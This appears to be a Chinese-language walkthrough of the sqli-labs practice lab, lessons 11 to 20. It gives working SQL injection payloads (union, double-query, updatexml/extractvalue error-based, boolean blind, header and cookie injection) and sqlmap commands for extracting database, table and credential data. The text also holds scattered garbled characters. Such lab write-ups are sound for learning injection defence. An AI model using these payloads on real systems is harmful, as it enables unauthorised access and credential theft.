Less-11
手工注入
1.開(kāi)始為post類型的注入芭梯,先加個(gè)單引號(hào)捺典,報(bào)錯(cuò)如下。
構(gòu)造出SQL語(yǔ)句應(yīng)該為:select username,password from users where username=' ' ' and password=' 2' limit 0,1;
也即是password字段被單引號(hào)包含了' and password='
跃须,導(dǎo)致 出現(xiàn)2' limit 0,1;
引號(hào)不匹配的情況蚤吹。下圖看起來(lái)更直觀些千绪。
2.所以充易,可構(gòu)造如下語(yǔ)句:' #
。 #
把后面的都注釋掉荸型,然后在其前面加上自己構(gòu)造的語(yǔ)句盹靴。
3.先用group by 看看有多少列:' group by 1
,經(jīng)過(guò)測(cè)試瑞妇,共2個(gè)字段稿静。
4.下面,開(kāi)始使用聯(lián)合查詢:-1' union select 1,2 #
返回正常辕狰,開(kāi)始構(gòu)造語(yǔ)句自赔。
5.查數(shù)據(jù)庫(kù)名:' union select 1,database() #
6.接下來(lái)查表名,構(gòu)造和Less-1
類似:' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
7.查列名' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
8.查內(nèi)容:' union select group_concat(username),group_concat(password) from security.users #
OK柳琢,已經(jīng)得到想要的。
用sqlmap注入
1.首先润脸,使用BurpSuite
抓包柬脸,然后保存抓取到的內(nèi)容。例如:保存為use.txt毙驯,把它放至某個(gè)目錄下倒堕,這里為:F:/temp/use.txt
。
2.首先爆价,判斷是否存在SQL注入漏洞垦巴,python2 sqlmap.py -r F:/temp/use.txt - --batch
得到兩個(gè)注入點(diǎn),如圖:
3.查詢當(dāng)前數(shù)據(jù)庫(kù)python2 sqlmap.py -r F:/temp/use.txt - --batch --current-db
4.查詢表::python2 sqlmap.py -r F:/temp/use.txt - --batch -D security --tables
5.剩下的查詢和Less-1
的用法一樣铭段,列-內(nèi)容骤宣,一個(gè)一個(gè)爆即可。
Less-12
1.加單引號(hào)序愚,正常憔披,加雙引號(hào),報(bào)錯(cuò):
由圖可知,為雙引號(hào)加括號(hào)閉合芬膝。
2.構(gòu)造:") #
返回正常望门,所以用Less-11
構(gòu)造的方法構(gòu)造語(yǔ)句即可。即") 構(gòu)造的語(yǔ)句 #
不在贅述锰霜。
Less-13
1.加單引號(hào)解幼,報(bào)錯(cuò),知道為單引號(hào)加括號(hào)閉合拂苹。
2.以為就這樣了岂傲,結(jié)果采用上面的構(gòu)造方法無(wú)用,看來(lái)沒(méi)那么簡(jiǎn)單所灸,應(yīng)該使用雙查詢注入了丽惶,和Less-5的構(gòu)造基本相同。
3.查數(shù)據(jù)庫(kù)爬立,構(gòu)造如下钾唬。') or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#
繼續(xù)爆其他數(shù)據(jù)庫(kù)名,改變limit n,1
即可侠驯。
4.查表:') or (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#
同樣抡秆,改變limit n,1
即可。
5.查列名:') or (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) #
同樣吟策,改變limit n,1
即可儒士。
6.查內(nèi)容:') or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#
同樣,改變limit n,1
即可檩坚。
Less-14
1.加單引號(hào)着撩,正常,加雙引號(hào)匾委,報(bào)錯(cuò)拖叙,可知為雙引號(hào)閉合。
2.應(yīng)該不會(huì)直接是聯(lián)合查詢了赂乐,一試薯鳍,果然還是雙查詢注入。
3.構(gòu)造:" 構(gòu)造語(yǔ)句 #
構(gòu)造語(yǔ)句和less-13
一樣挨措。
Less-15
1.加單引號(hào)挖滤,只有“報(bào)錯(cuò)”,應(yīng)該是要盲注浅役,而且只能布爾型或時(shí)間型了(只知道錯(cuò)了沒(méi)壓根不知道錯(cuò)的信息)
2.不管斩松,先把注入句式試出來(lái),用萬(wàn)能句型' or 1=1 or '1'='2
觉既,經(jīng)過(guò)嘗試砸民,為單引號(hào)閉合,此時(shí)登錄成功。
3.開(kāi)始布爾型盲注:構(gòu)造' or 1=(if(substr(version(),1,1)=5,1,0)) or '1'='2
岭参,其實(shí)就是把上面的1=1
改成我們想要的語(yǔ)句,即先看看數(shù)據(jù)庫(kù)版面是否為5反惕。因?yàn)轱@示登錄成功,所以說(shuō)明1=(if(substr(version(),1,1)=5,1,0))
為true演侯。
4.繼續(xù)構(gòu)造:都是把構(gòu)造好的語(yǔ)句替換1=1
姿染,從而查看結(jié)果。構(gòu)造和Less-6
差不多秒际,不再贅述悬赏。
Less-16
1.還是用萬(wàn)能句型試,最終試出為雙引號(hào)加括號(hào)閉合娄徊,即使用") or 1=1 or "1"=("2
登錄成功闽颇。
2.接下來(lái)的構(gòu)造和Less-15
一樣,如") or 1=(if(substr(version(),1,1)=5,1,0)) or '1'=("2
寄锐。
Less-17
1.進(jìn)入頁(yè)面提示為PASSWORD RESET兵多,即重置密碼界面,坑比較多橄仆。
2.首先剩膘,在user name
中嘗試了多次,都是讓走開(kāi)盆顾,后來(lái)一想怠褐,確實(shí)該走,都提示為重置密碼了您宪,還傻傻地在user name
試奈懒,應(yīng)該在new password
中想辦法。后來(lái)看了其他大佬的博客后宪巨,查看源碼才知道原來(lái)對(duì)user name
表單進(jìn)行了過(guò)濾:
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
函數(shù)check_input()
的作用就是檢查用戶輸入筐赔,并將用戶輸入安全化,其中的mysql_real_escape_string()
會(huì)在\x00, \n, \r, \, ', " and \x1a
這些字符前加入反斜線進(jìn)行轉(zhuǎn)義揖铜,防止注入,而且這個(gè)函數(shù)也避免了寬字節(jié)注入的危險(xiǎn)达皿。
3.當(dāng)然天吓,還不止,new password
也不是和之前一樣輕易試出注入類型峦椰,因?yàn)橛?code>user name的限制龄寞,如果new password
不對(duì),那么怎么試都自然是錯(cuò)的汤功。因?yàn)榭戳舜罄械慕忸}思路物邑,知道了為單引號(hào)閉合,SQL語(yǔ)句為:@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
且知道有用戶名為admin
(這個(gè)用戶名一般都有)。所以就直接考慮構(gòu)造了色解。
4.首先考慮到不能回顯有意義的信息茂嗓,所以首選前面一直用的雙注入查詢 構(gòu)造如下:user name:
填admin
,而new password:
填' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#
剩下的構(gòu)造不多說(shuō),和Less-13
一樣科阎,一個(gè)一個(gè)爆就好述吸。
5.在這里,嘗試使用一種新的注入方法锣笨,基于extractvalue()
和updatexml()
的報(bào)錯(cuò)注入蝌矛,詳情請(qǐng)看: 學(xué)習(xí)基于extractvalue()和updatexml()的報(bào)錯(cuò)注入,同時(shí)错英,下面的注入丟默認(rèn)user name:
填admin
6.先使用updatexml()
進(jìn)行注入入撒,構(gòu)造為' and updatexml(1,concat('~',(select version())),1)#
獲取相應(yīng)版本:
獲取數(shù)據(jù)庫(kù)名稱:' and updatexml(1,concat('~',(select database())),1)#
獲取表名:' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#
改變limit n,1
即可獲取其他表名。
獲取列名:' and updatexml(1,concat('~',(select concat(column_name,';') from information_schema.columns where table_name='emails' limit 0,1)),1)#
同樣椭岩,改變limit n,1
即可茅逮。
獲取內(nèi)容:這樣,不行' and updatexml(1,concat('~',(select concat(username,';',password) from information_schema.tables where table_name='security' limit 0,1)),1)#
報(bào)錯(cuò)如下:
這樣:也不行' and updatexml(1,concat('~',(select concat(username,';',password) from security.users limit 0,1)),1)#
報(bào)錯(cuò)如下:
這樣:發(fā)現(xiàn)可以了簿煌,但是password
成了0氮唯,一下子把所有的用戶密碼都改成了0,后面的可能就有問(wèn)題了姨伟。' or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#
7.使用extractvalue()
惩琉,和updatexml()
十分相似,用法也差不多夺荒,甚至看起來(lái)跟直觀些瞒渠。構(gòu)造:' and extractvalue(1,concat('~',(select version())))#
剩下的語(yǔ)句和updatexml()
的類似。
Less-18
1.進(jìn)入后顯示Your IP ADDRESS is: ::1
技扼,輸入常用的注入嘗試伍玖,都只顯示:
看來(lái)和上一題一樣,都進(jìn)行了相關(guān)的過(guò)濾剿吻。
2.實(shí)在不懂窍箍,先看一下源碼:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
這次對(duì)兩個(gè)表單都進(jìn)行過(guò)濾了。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
看到只有用戶再登陸成功后才會(huì)顯示用戶的user agent
丽旅,并且將uagent
, ip_address
, username
插入到了uagents
表中椰棘。查看一下:
注意到:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
在插入過(guò)程中并沒(méi)有進(jìn)行過(guò)濾,由此可知榄笙,可以從uagent
下手邪狞。本來(lái)ip_address
也可以成功的,但是源碼中顯示被注釋掉了茅撞,回顯的只能是用戶的user agent
3.構(gòu)造uagent
的內(nèi)容帆卓,使用BurpSuite
對(duì)提交內(nèi)容進(jìn)行抓包巨朦,然后再修改相應(yīng)的User-Agent:
4.易知,只要保證
User-Agent:
字段內(nèi)容剑令,即uagent
保持單引號(hào)閉合糊啡,且使用雙查詢注入或使用extractvalue()
或updatexml()
構(gòu)造相應(yīng)語(yǔ)句即可(因?yàn)槭窃诓迦胝Z(yǔ)句中,只能通過(guò)報(bào)錯(cuò)獲取我們想要的信息)尚洽。5.構(gòu)造語(yǔ)句查詢數(shù)據(jù)庫(kù)名:
構(gòu)造一:
' and updatexml(1,concat('~',(select database())),1) and '1'='1
構(gòu)造二:' and extractvalue(1,concat('~',(select database()))) and '1'='1
構(gòu)造三:' and (select 1 from (select count(*),concat(database(),';',floor(rand()*2)) as x from information_schema.tables group by x)as a) and '1'='1
6.其他構(gòu)造和之前的相似悔橄,不再贅述。
Less-19
- 提示為Referer腺毫,直接用我們知道的用戶名密碼都為:
admin
的進(jìn)行嘗試癣疟,發(fā)現(xiàn):
2.也就是說(shuō)我們需要將構(gòu)造語(yǔ)句放入Referer:
嘗試:' and extractvalue(1,concat('~',(select database()))) and '1'='1
成功,知道方法就好了潮酒。
Less-20
1.提示為Cookie睛挚,直接用我們知道的用戶名密碼都為:admin
的進(jìn)行嘗試,發(fā)現(xiàn):
2.Cookie
為:uname = admin
所以構(gòu)造:uname=admin' and extractvalue(1,concat('~',(select database()))) #
3.構(gòu)造還是一樣的急黎。
目前就先到這吧扎狱,這部分的題目都是post類型的,后面好像還有勃教,但還是放下一篇吧淤击。當(dāng)然,文中如有錯(cuò)誤或其他更好的語(yǔ)句或解法故源,還希望諸位不吝賜教污抬,多謝。
參考:
- 學(xué)習(xí)基于extractvalue()和updatexml()的報(bào)錯(cuò)注入
- SQL注入新手教程(講的很好的內(nèi)容绳军,之前沒(méi)發(fā)現(xiàn)印机,現(xiàn)在才看到)
- It is not safe to rely on the the system's timezone settings解決方法